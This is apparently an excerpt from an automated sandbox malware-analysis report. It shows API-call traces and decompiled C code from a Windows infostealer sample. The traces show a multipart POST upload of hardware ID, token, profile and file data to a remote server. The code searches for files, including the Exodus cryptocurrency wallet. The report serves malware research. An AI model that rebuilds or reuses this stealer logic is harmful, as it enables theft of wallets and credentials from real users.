lstrcatA.KERNEL32(?,ent-Typ), ref: 0041385C
lstrcatA.KERNEL32(?,e: multip), ref: 0041386E
lstrcatA.KERNEL32(?,art/for), ref: 00413880
lstrcatA.KERNEL32(?,m-data; ), ref: 00413892
lstrcatA.KERNEL32(?,boun), ref: 004138A4
lstrcatA.KERNEL32(?,dary=), ref: 004138B6
lstrcatA.KERNEL32(?,----), ref: 004138C8
lstrcatA.KERNEL32(?,?), ref: 004138DC
InternetConnectA.WININET(00000000,?,0040E6B1,00000000,00000000,00000003,00000000,00000000), ref: 00413904
HttpOpenRequestA.WININET(00000000,POST,0044A990,HTTP/1.1,00000000,00000000,00400100,00000000), ref: 0041393E
lstrcatA.KERNEL32(?,------), ref: 0041395E
lstrcatA.KERNEL32(?,?), ref: 00413972
lstrcatA.KERNEL32(?,0044AAFC), ref: 00413984
lstrcatA.KERNEL32(?,Content-Disposition: form-data; name="), ref: 00413996
lstrcatA.KERNEL32(?,profile), ref: 004139A8
lstrcatA.KERNEL32(?,"), ref: 004139BA
lstrcatA.KERNEL32(?,?), ref: 004139CE
lstrcatA.KERNEL32(?,0044AAFC), ref: 004139E0
lstrcatA.KERNEL32(?,------), ref: 004139F2
lstrcatA.KERNEL32(?,?), ref: 00413A06
lstrcatA.KERNEL32(?,0044AAFC), ref: 00413A18
lstrcatA.KERNEL32(?,Content-Disposition: form-data; name="), ref: 00413A2A
lstrcatA.KERNEL32(?,profile_id), ref: 00413A3C
lstrcatA.KERNEL32(?,"), ref: 00413A4E
lstrcatA.KERNEL32(?,?), ref: 00413A62
lstrcatA.KERNEL32(?,0044AAFC), ref: 00413A74
lstrcatA.KERNEL32(?,------), ref: 00413A86
lstrcatA.KERNEL32(?,?), ref: 00413A9A
lstrcatA.KERNEL32(?,0044AAFC), ref: 00413AAC
lstrcatA.KERNEL32(?,Content-Disposition: form-data; name="), ref: 00413ABE
lstrcatA.KERNEL32(?,hwid), ref: 00413AD0
lstrcatA.KERNEL32(?,"), ref: 00413AE2
lstrcatA.KERNEL32(?,?), ref: 00413AF6
lstrcatA.KERNEL32(?,0044AAFC), ref: 00413B08
lstrcatA.KERNEL32(?,------), ref: 00413B1A
lstrcatA.KERNEL32(?,?), ref: 00413B2E
lstrcatA.KERNEL32(?,0044AAFC), ref: 00413B40
lstrcatA.KERNEL32(?,Content-Disposition: form-data; name="), ref: 00413B52
lstrcatA.KERNEL32(?,token), ref: 00413B64
lstrcatA.KERNEL32(?,"), ref: 00413B76
lstrcatA.KERNEL32(?,?), ref: 00413B8A
lstrcatA.KERNEL32(?,0044AAFC), ref: 00413B9C
lstrcatA.KERNEL32(?,------), ref: 00413BAE
lstrcatA.KERNEL32(?,?), ref: 00413BC2
lstrcatA.KERNEL32(?,0044AAFC), ref: 00413BD4
lstrcatA.KERNEL32(?,Content-Disposition: form-data; name="), ref: 00413BE6
lstrcatA.KERNEL32(?,file), ref: 00413BF8
lstrcatA.KERNEL32(?,"), ref: 00413C0A
lstrlenA.KERNEL32(00000000), ref: 00413C11
lstrlenA.KERNEL32(?), ref: 00413C24
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00413C39
RtlAllocateHeap.NTDLL(00000000), ref: 00413C40
lstrlenA.KERNEL32(?), ref: 00413C53
_memmove.LIBCMT ref: 00413C68
lstrlenA.KERNEL32(?,?,?,00000002,?,00000004,?,?,?,?,00000000,00000010,00000000,?,0040E6B1,?), ref: 00413C7F
_memmove.LIBCMT ref: 00413C8C
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,00000010,00000000,?,0040E6B1), ref: 00413C95
lstrlenA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000,00000010,00000000), ref: 00413CA4
_memmove.LIBCMT ref: 00413CB3
lstrlenA.KERNEL32(?,?,00000000), ref: 00413CCF
HttpSendRequestA.WININET(?,?,00000000), ref: 00413CE4
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00413CFD
StrCmpCA.SHLWAPI(?,200,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00413D13
Sleep.KERNEL32(00007530,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000010), ref: 00413D22
_memset.LIBCMT ref: 00413D39
InternetReadFile.WININET(?,?,000007CF,?), ref: 00413D55
lstrcatA.KERNEL32(?,?), ref: 00413D80
InternetReadFile.WININET(?,00000000,000007CF,?), ref: 00413DA0
InternetCloseHandle.WININET(?), ref: 00413DB1
InternetCloseHandle.WININET(00000000), ref: 00413DBE
InternetCloseHandle.WININET(00000000), ref: 00413DCB

Strings

", xrefs: 004139AE, 00413A42, 00413AD6, 00413B6A, 00413BFE
profile, xrefs: 0041399C
200, xrefs: 00413D07
file, xrefs: 00413BEC
Content-Disposition: form-data; name=", xrefs: 0041398A, 00413A1E, 00413AB2, 00413B46, 00413BDA
hwid, xrefs: 00413AC4
token, xrefs: 00413B58
Cont, xrefs: 0041383E
ent-Typ, xrefs: 00413850
m-data; , xrefs: 00413886
POST, xrefs: 00413938
dary=, xrefs: 004138AA
profile_id, xrefs: 00413A30
HTTP/1.1, xrefs: 0041392E
boun, xrefs: 00413898
art/for, xrefs: 00413874
https://, xrefs: 004137AD
------, xrefs: 0041380C, 00413952, 004139E6, 00413A7A, 00413B0E, 00413BA2
e: multip, xrefs: 00413862
----, xrefs: 004138BC

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Internet$lstrlen$_memset$Heap$CloseHandleHttp_memmove$AllocateFileOpenProcessReadRequest$ConnectInfoOptionQuerySendSleep
String ID: "$----$------$200$Cont$Content-Disposition: form-data; name="$HTTP/1.1$POST$art/for$boun$dary=$e: multip$ent-Typ$file$https://$hwid$m-data; $profile$profile_id$token
API String ID: 1885803976-4214273285
Opcode ID: a0401631a13d0537d5584a4cf35943ad0f55e27f55d8e0e06723d6f7da39911f
Instruction ID: 4d58ca6c0b605741124e8a51123cf4f082f3ebcff1a1d2c470520efd13fd5e8b
Opcode Fuzzy Hash: a0401631a13d0537d5584a4cf35943ad0f55e27f55d8e0e06723d6f7da39911f
Instruction Fuzzy Hash: 0812AFB2940319ABDB25EFA0DD4CFEA7739FB08746F004499B215A2051DBB4EB84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411D60 Relevance: 150.0, APIs: 79, Strings: 6, Instructions: 1265
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 57%

			E00411D60(intOrPtr __ecx, void* __eflags) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v284;
				char _v548;
				char _v812;
				char _v1076;
				char _v1340;
				char* _v1344;
				char* _v1348;
				intOrPtr _v1352;
				intOrPtr _v1356;
				intOrPtr _v1360;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t495;
				intOrPtr _t498;
				char* _t499;
				char* _t503;
				char* _t506;
				char* _t510;
				char* _t513;
				char* _t517;
				char* _t521;
				char* _t524;
				char* _t527;
				char* _t532;
				char* _t535;
				char* _t538;
				char* _t543;
				char* _t546;
				char* _t549;
				char* _t554;
				char* _t557;
				char* _t560;
				char* _t564;
				char* _t567;
				char* _t571;
				char* _t575;
				char* _t578;
				char* _t582;
				char* _t586;
				char* _t589;
				char* _t593;
				char* _t597;
				char* _t600;
				char* _t603;
				char* _t608;
				char* _t611;
				char* _t614;
				char* _t618;
				char* _t622;
				char* _t625;
				char* _t629;
				char* _t633;
				char* _t636;
				char* _t640;
				char* _t644;
				char* _t647;
				char* _t651;
				char* _t655;
				char* _t658;
				char* _t662;
				char* _t666;
				char* _t669;
				char* _t673;
				char* _t677;
				char* _t680;
				char* _t684;
				char* _t687;
				char* _t691;
				char* _t695;
				char* _t698;
				char* _t701;
				intOrPtr _t710;
				CHAR* _t721;
				CHAR* _t724;
				CHAR* _t727;
				CHAR* _t730;
				CHAR* _t736;
				CHAR* _t739;
				void* _t752;
				void* _t761;
				char* _t763;
				intOrPtr _t765;
				intOrPtr _t768;
				intOrPtr _t771;
				intOrPtr _t773;
				intOrPtr _t777;
				intOrPtr _t779;
				intOrPtr _t781;
				intOrPtr _t784;
				intOrPtr _t786;
				intOrPtr _t788;
				intOrPtr _t791;
				intOrPtr _t793;
				intOrPtr _t797;
				intOrPtr _t800;
				intOrPtr _t802;
				intOrPtr _t804;
				intOrPtr _t807;
				intOrPtr _t809;
				intOrPtr _t811;
				intOrPtr _t814;
				intOrPtr _t816;
				intOrPtr _t818;
				intOrPtr _t822;
				intOrPtr _t824;
				intOrPtr _t827;
				intOrPtr _t830;
				intOrPtr _t832;
				intOrPtr _t834;
				intOrPtr _t837;
				intOrPtr _t839;
				intOrPtr _t841;
				intOrPtr _t844;
				intOrPtr _t846;
				intOrPtr _t848;
				intOrPtr _t851;
				intOrPtr _t853;
				intOrPtr _t855;
				intOrPtr _t858;
				intOrPtr _t860;
				intOrPtr _t862;
				intOrPtr _t865;
				intOrPtr _t867;
				intOrPtr _t869;
				intOrPtr _t872;
				intOrPtr _t875;
				intOrPtr _t877;
				intOrPtr _t881;
				intOrPtr _t883;
				intOrPtr _t885;
				intOrPtr _t886;
				intOrPtr _t887;
				intOrPtr _t888;
				intOrPtr _t889;
				intOrPtr _t891;
				intOrPtr _t927;
				void* _t942;
				intOrPtr _t943;
				intOrPtr _t944;
				intOrPtr _t945;
				intOrPtr _t946;
				intOrPtr _t947;
				CHAR* _t949;
				void* _t952;
				void* _t953;
				void* _t957;
				signed int _t958;
				void* _t959;
				char* _t961;
				char* _t963;
				char* _t965;
				char* _t967;
				char* _t969;
				char* _t971;
				char* _t973;
				char* _t975;
				char* _t977;
				char* _t979;
				char* _t981;
				char* _t983;
				char* _t985;
				char* _t987;
				char* _t989;
				char* _t991;
				char* _t993;
				char* _t995;
				char* _t997;
				char* _t999;
				char* _t1001;
				char* _t1003;
				char* _t1005;
				char* _t1007;
				char* _t1009;
				char* _t1011;
				char* _t1013;
				char* _t1015;
				char* _t1017;
				char* _t1019;
				char* _t1021;
				char* _t1023;
				char* _t1025;
				char* _t1027;
				char* _t1029;
				char* _t1031;
				char* _t1033;
				char* _t1035;
				char* _t1037;
				char* _t1039;
				char* _t1041;
				char* _t1043;
				char* _t1045;
				char* _t1047;
				char* _t1049;
				char* _t1051;
				char* _t1053;
				char* _t1055;
				char* _t1057;
				char* _t1059;
				char* _t1061;
				char* _t1063;
				char* _t1065;
				char* _t1067;
				char* _t1069;
				char* _t1071;
				char* _t1073;

				_t495 =  *0x450664; // 0x30e242aa
				_v20 = _t495 ^ _t958;
				 *[fs:0x0] =  &_v16;
				_t498 =  *0x4532ac; // 0x0
				_t943 = __ecx;
				_t763 =  *0x452d10; // 0x5081560
				 *((intOrPtr*)(__ecx + 0x20)) = _t498;
				_t961 = _t959 - 0x528;
				_t499 = _t961;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				_v1356 = _t961;
				 *((intOrPtr*)(_t499 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t499 + 0x10)) = 0;
				_v1360 = __ecx;
				_v1344 = _t763;
				_v1348 = _t499;
				 *_t499 = 0;
				E004050C0(_v1348, _v1344, L00429C90(_t763));
				_v8 = 0;
				_t765 =  *0x452cbc; // 0x5081590
				_t963 = _t961 + 4 - 0x1c;
				_t503 = _t963;
				_v1352 = _t963;
				 *((intOrPtr*)(_t503 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t503 + 0x10)) = 0;
				_v1348 = _t765;
				_v1344 = _t503;
				 *_t503 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t765));
				_v8 = 1;
				_t768 =  *0x452ef8; // 0x50815a8
				_t965 = _t963 + 4 - 0x1c;
				_t506 = _t965;
				_v1344 = _t965;
				 *((intOrPtr*)(_t506 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t506 + 0x10)) = 0;
				_v1348 = _t768;
				_v1344 = _t506;
				 *_t506 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t768));
				_v8 = 0xffffffff;
				E00410EA0(); // executed
				_t967 = _t965 + 4 - 0x1c;
				_t510 = _t967;
				_v1352 = _t967;
				 *((intOrPtr*)(_t510 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t510 + 0x10)) = 0;
				_v1348 = _t510;
				 *_t510 = 0;
				E004050C0(_v1348, "*.*", L00429C90("*.*"));
				_v8 = 2;
				_t771 =  *0x452dfc; // 0x50815d8
				_t969 = _t967 + 4 - 0x1c;
				_t513 = _t969;
				_v1356 = _t969;
				 *((intOrPtr*)(_t513 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t513 + 0x10)) = 0;
				_v1348 = _t771;
				_v1344 = _t513;
				 *_t513 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t771));
				_v8 = 3;
				_t773 =  *0x452ec4; // 0x50911c8
				_t971 = _t969 + 4 - 0x1c;
				_t517 = _t971;
				_v1344 = _t971;
				 *((intOrPtr*)(_t517 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t517 + 0x10)) = 0;
				_v1348 = _t773;
				_v1344 = _t517;
				 *_t517 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t773));
				_v8 = 0xffffffff;
				E00410EA0(); // executed
				_t973 = _t971 + 4 - 0x1c;
				_t521 = _t973;
				_v1352 = _t973;
				 *((intOrPtr*)(_t521 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t521 + 0x10)) = 0;
				_v1348 = _t521;
				 *_t521 = 0;
				E004050C0(_v1348, "*.*", L00429C90("*.*"));
				_v8 = 4;
				_t777 =  *0x452ca8; // 0x5081608
				_t975 = _t973 + 4 - 0x1c;
				_t524 = _t975;
				_v1356 = _t975;
				 *((intOrPtr*)(_t524 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t524 + 0x10)) = 0;
				_v1348 = _t777;
				_v1344 = _t524;
				 *_t524 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t777));
				_v8 = 5;
				_t779 =  *0x452c90; // 0x5090f68
				_t977 = _t975 + 4 - 0x1c;
				_v1348 = _t779;
				_v1344 = _t977;
				_t527 = _t977;
				 *((intOrPtr*)(_t527 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t527 + 0x10)) = 0;
				_v1344 = _t527;
				 *_t527 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t779));
				_v8 = 0xffffffff;
				E00410EA0();
				_t781 =  *0x453178; // 0x5091188
				_t979 = _t977 + 4 - 0x1c;
				_t532 = _t979;
				_v1352 = _t979;
				 *((intOrPtr*)(_t532 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t532 + 0x10)) = 0;
				_v1348 = _t781;
				_v1344 = _t532;
				 *_t532 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t781));
				_v8 = 6;
				_t784 =  *0x452bf8; // 0x50984a0
				_t981 = _t979 + 4 - 0x1c;
				_t535 = _t981;
				_v1356 = _t981;
				 *((intOrPtr*)(_t535 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t535 + 0x10)) = 0;
				_v1348 = _t784;
				_v1344 = _t535;
				 *_t535 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t784));
				_v8 = 7;
				_t786 =  *0x453068; // 0x50989d0
				_t983 = _t981 + 4 - 0x1c;
				_t538 = _t983;
				_v1344 = _t983;
				 *((intOrPtr*)(_t538 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t538 + 0x10)) = 0;
				_v1348 = _t786;
				_v1344 = _t538;
				 *_t538 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t786));
				_v8 = 0xffffffff;
				E00410EA0();
				_t788 =  *0x452dd4; // 0x5091028
				_t985 = _t983 + 4 - 0x1c;
				_t543 = _t985;
				_v1348 = _t788;
				_v1352 = _t985;
				_v1344 = _t543;
				 *((intOrPtr*)(_t543 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t543 + 0x10)) = 0;
				 *_t543 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t788));
				_v8 = 8;
				_t791 =  *0x452bf8; // 0x50984a0
				_t987 = _t985 + 4 - 0x1c;
				_t546 = _t987;
				_v1356 = _t987;
				 *((intOrPtr*)(_t546 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t546 + 0x10)) = 0;
				_v1348 = _t791;
				_v1344 = _t546;
				 *_t546 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t791));
				_v8 = 9;
				_t793 =  *0x453068; // 0x50989d0
				_t989 = _t987 + 4 - 0x1c;
				_t549 = _t989;
				_v1344 = _t989;
				 *((intOrPtr*)(_t549 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t549 + 0x10)) = 0;
				_v1348 = _t793;
				_v1344 = _t549;
				 *_t549 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t793));
				_v8 = 0xffffffff;
				E00410EA0(); // executed
				_t991 = _t989 + 4 - 0x1c;
				_t554 = _t991;
				_v1352 = _t991;
				 *((intOrPtr*)(_t554 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t554 + 0x10)) = 0;
				_v1348 = _t554;
				 *_t554 = 0;
				E004050C0(_v1348, "*.*", L00429C90("*.*"));
				_v8 = 0xa;
				_t993 = _t991 + 4 - 0x1c;
				_t557 = _t993;
				_v1356 = _t993;
				 *((intOrPtr*)(_t557 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t557 + 0x10)) = 0;
				_v1348 = _t557;
				 *_t557 = 0;
				E004050C0(_v1348, "Exodus\\exodus.wallet", L00429C90("Exodus\\exodus.wallet"));
				_v8 = 0xb;
				_t797 =  *0x452c14; // 0x50910e8
				_t995 = _t993 + 4 - 0x1c;
				_t560 = _t995;
				_v1344 = _t995;
				 *((intOrPtr*)(_t560 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t560 + 0x10)) = 0;
				_v1348 = _t797;
				_v1344 = _t560;
				 *_t560 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t797));
				_v8 = 0xffffffff;
				E00410EA0();
				_t800 =  *0x45310c; // 0x5098a00
				_t997 = _t995 + 4 - 0x1c;
				_t564 = _t997;
				_v1352 = _t997;
				 *((intOrPtr*)(_t564 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t564 + 0x10)) = 0;
				_v1348 = _t800;
				_v1344 = _t564;
				 *_t564 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t800));
				_v8 = 0xc;
				_t802 =  *0x453158; // 0x5098a60
				_t999 = _t997 + 4 - 0x1c;
				_t567 = _t999;
				_v1356 = _t999;
				 *((intOrPtr*)(_t567 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t567 + 0x10)) = 0;
				_v1348 = _t802;
				_v1344 = _t567;
				 *_t567 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t802));
				_v8 = 0xd;
				_t804 =  *0x452fe0; // 0x5090f28
				_t1001 = _t999 + 4 - 0x1c;
				_t571 = _t1001;
				_v1344 = _t1001;
				 *((intOrPtr*)(_t571 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t571 + 0x10)) = 0;
				_v1348 = _t804;
				_v1344 = _t571;
				 *_t571 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t804));
				_v8 = 0xffffffff;
				E00410EA0();
				_t807 =  *0x452fc8; // 0x5090f48
				_t1003 = _t1001 + 4 - 0x1c;
				_t575 = _t1003;
				_v1352 = _t1003;
				 *((intOrPtr*)(_t575 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t575 + 0x10)) = 0;
				_v1348 = _t807;
				_v1344 = _t575;
				 *_t575 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t807));
				_v8 = 0xe;
				_t809 =  *0x4531fc; // 0x5098a90
				_t1005 = _t1003 + 4 - 0x1c;
				_t578 = _t1005;
				_v1356 = _t1005;
				 *((intOrPtr*)(_t578 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t578 + 0x10)) = 0;
				_v1348 = _t809;
				_v1344 = _t578;
				 *_t578 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t809));
				_v8 = 0xf;
				_t811 =  *0x452d3c; // 0x5098808
				_t1007 = _t1005 + 4 - 0x1c;
				_t582 = _t1007;
				_v1344 = _t1007;
				 *((intOrPtr*)(_t582 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t582 + 0x10)) = 0;
				_v1348 = _t811;
				_v1344 = _t582;
				 *_t582 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t811));
				_v8 = 0xffffffff;
				E00410EA0(_t943, 0, _t943, 0, _t943, 0, _t943, 0, _t943, 0, _t943, 0, _t943, 0, _t943, 0, _t495 ^ _t958, _t942, _t953, _t752,  *[fs:0x0], 0x43efd2);
				_t814 =  *0x452bc0; // 0x5091288
				_t1009 = _t1007 + 4 - 0x1c;
				_t586 = _t1009;
				_v1352 = _t1009;
				 *((intOrPtr*)(_t586 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t586 + 0x10)) = 0;
				_v1348 = _t814;
				_v1344 = _t586;
				 *_t586 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t814));
				_v8 = 0x10;
				_t816 =  *0x452eb0; // 0x5091148
				_t1011 = _t1009 + 4 - 0x1c;
				_t589 = _t1011;
				_v1356 = _t1011;
				 *((intOrPtr*)(_t589 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t589 + 0x10)) = 0;
				_v1348 = _t816;
				_v1344 = _t589;
				 *_t589 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t816));
				_v8 = 0x11;
				_t818 =  *0x4530f4; // 0x5091248
				_t1013 = _t1011 + 4 - 0x1c;
				_t593 = _t1013;
				_v1344 = _t1013;
				 *((intOrPtr*)(_t593 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t593 + 0x10)) = 0;
				_v1348 = _t818;
				_v1344 = _t593;
				 *_t593 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t818));
				_v8 = 0xffffffff;
				E00410EA0(); // executed
				_t1015 = _t1013 + 4 - 0x1c;
				_t597 = _t1015;
				_v1352 = _t1015;
				 *((intOrPtr*)(_t597 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t597 + 0x10)) = 0;
				_v1348 = _t597;
				 *_t597 = 0;
				E004050C0(_v1348, "*.*", L00429C90("*.*"));
				_v8 = 0x12;
				_t822 =  *0x452ae8; // 0x509b9b0
				_t1017 = _t1015 + 4 - 0x1c;
				_t600 = _t1017;
				_v1356 = _t1017;
				 *((intOrPtr*)(_t600 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t600 + 0x10)) = 0;
				_v1348 = _t822;
				_v1344 = _t600;
				 *_t600 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t822));
				_t1019 = _t1017 + 4 - 0x1c;
				_v8 = 0x13;
				_t824 =  *0x4531ac; // 0x5094e50
				_t603 = _t1019;
				_v1344 = _t1019;
				_v1348 = _t824;
				_v1344 = _t603;
				 *((intOrPtr*)(_t603 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t603 + 0x10)) = 0;
				 *_t603 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t824));
				_v8 = 0xffffffff;
				E00410EA0(); // executed
				_t1021 = _t1019 + 4 - 0x1c;
				_t608 = _t1021;
				_v1352 = _t1021;
				 *((intOrPtr*)(_t608 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t608 + 0x10)) = 0;
				_v1348 = _t608;
				 *_t608 = 0;
				E004050C0(_v1348, "*.*", L00429C90("*.*"));
				_v8 = 0x14;
				_t827 =  *0x452d70; // 0x5098480
				_t1023 = _t1021 + 4 - 0x1c;
				_t611 = _t1023;
				_v1356 = _t1023;
				 *((intOrPtr*)(_t611 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t611 + 0x10)) = 0;
				_v1348 = _t827;
				_v1344 = _t611;
				 *_t611 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t827));
				_v8 = 0x15;
				_t830 =  *0x452bb4; // 0x507b4d0
				_t1025 = _t1023 + 4 - 0x1c;
				_t614 = _t1025;
				_v1344 = _t1025;
				 *((intOrPtr*)(_t614 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t614 + 0x10)) = 0;
				_v1348 = _t830;
				_v1344 = _t614;
				 *_t614 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t830));
				_v8 = 0xffffffff;
				E00410EA0();
				_t832 =  *0x453140; // 0x5098940
				_t1027 = _t1025 + 4 - 0x1c;
				_t618 = _t1027;
				_v1352 = _t1027;
				 *((intOrPtr*)(_t618 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t618 + 0x10)) = 0;
				_v1348 = _t832;
				_v1344 = _t618;
				 *_t618 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t832));
				_v8 = 0x16;
				_t834 =  *0x453208; // 0x509ca28
				_t1029 = _t1027 + 4 - 0x1c;
				_t622 = _t1029;
				_v1356 = _t1029;
				 *((intOrPtr*)(_t622 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t622 + 0x10)) = 0;
				_v1348 = _t834;
				_v1344 = _t622;
				 *_t622 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t834));
				_v8 = 0x17;
				_t837 =  *0x4531f8; // 0x5098910
				_t1031 = _t1029 + 4 - 0x1c;
				_t625 = _t1031;
				_v1344 = _t1031;
				 *((intOrPtr*)(_t625 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t625 + 0x10)) = 0;
				_v1348 = _t837;
				_v1344 = _t625;
				 *_t625 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t837));
				_v8 = 0xffffffff;
				E00410EA0();
				_t839 =  *0x452fb0; // 0x509d5a0
				_t1033 = _t1031 + 4 - 0x1c;
				_t629 = _t1033;
				_v1352 = _t1033;
				 *((intOrPtr*)(_t629 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t629 + 0x10)) = 0;
				_v1348 = _t839;
				_v1344 = _t629;
				 *_t629 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t839));
				_v8 = 0x18;
				_t841 =  *0x453208; // 0x509ca28
				_t1035 = _t1033 + 4 - 0x1c;
				_t633 = _t1035;
				_v1356 = _t1035;
				 *((intOrPtr*)(_t633 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t633 + 0x10)) = 0;
				_v1348 = _t841;
				_v1344 = _t633;
				 *_t633 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t841));
				_v8 = 0x19;
				_t844 =  *0x4531f8; // 0x5098910
				_t1037 = _t1035 + 4 - 0x1c;
				_t636 = _t1037;
				_v1344 = _t1037;
				 *((intOrPtr*)(_t636 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t636 + 0x10)) = 0;
				_v1348 = _t844;
				_v1344 = _t636;
				 *_t636 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t844));
				_v8 = 0xffffffff;
				E00410EA0();
				_t846 =  *0x452c50; // 0x509d6c0
				_t1039 = _t1037 + 4 - 0x1c;
				_t640 = _t1039;
				_v1352 = _t1039;
				 *((intOrPtr*)(_t640 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t640 + 0x10)) = 0;
				_v1348 = _t846;
				_v1344 = _t640;
				 *_t640 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t846));
				_v8 = 0x1a;
				_t848 =  *0x453208; // 0x509ca28
				_t1041 = _t1039 + 4 - 0x1c;
				_t644 = _t1041;
				_v1356 = _t1041;
				 *((intOrPtr*)(_t644 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t644 + 0x10)) = 0;
				_v1348 = _t848;
				_v1344 = _t644;
				 *_t644 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t848));
				_v8 = 0x1b;
				_t851 =  *0x4531f8; // 0x5098910
				_t1043 = _t1041 + 4 - 0x1c;
				_t647 = _t1043;
				_v1344 = _t1043;
				 *((intOrPtr*)(_t647 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t647 + 0x10)) = 0;
				_v1348 = _t851;
				_v1344 = _t647;
				 *_t647 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t851));
				_v8 = 0xffffffff;
				E00410EA0();
				_t853 =  *0x453180; // 0x50988f8
				_t1045 = _t1043 + 4 - 0x1c;
				_t651 = _t1045;
				_v1352 = _t1045;
				 *((intOrPtr*)(_t651 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t651 + 0x10)) = 0;
				_v1348 = _t853;
				_v1344 = _t651;
				 *_t651 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t853));
				_v8 = 0x1c;
				_t855 =  *0x452b30; // 0x5098540
				_t1047 = _t1045 + 4 - 0x1c;
				_t655 = _t1047;
				_v1356 = _t1047;
				 *((intOrPtr*)(_t655 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t655 + 0x10)) = 0;
				_v1348 = _t855;
				_v1344 = _t655;
				 *_t655 = 0;
				E004050C0(_v1344, _v1348, L00429C90(_t855));
				_v8 = 0x1d;
				_t858 =  *0x452c10; // 0x5098d68
				_t1049 = _t1047 + 4 - 0x1c;
				_t658 = _t1049;
				_v1344 = _t1049;
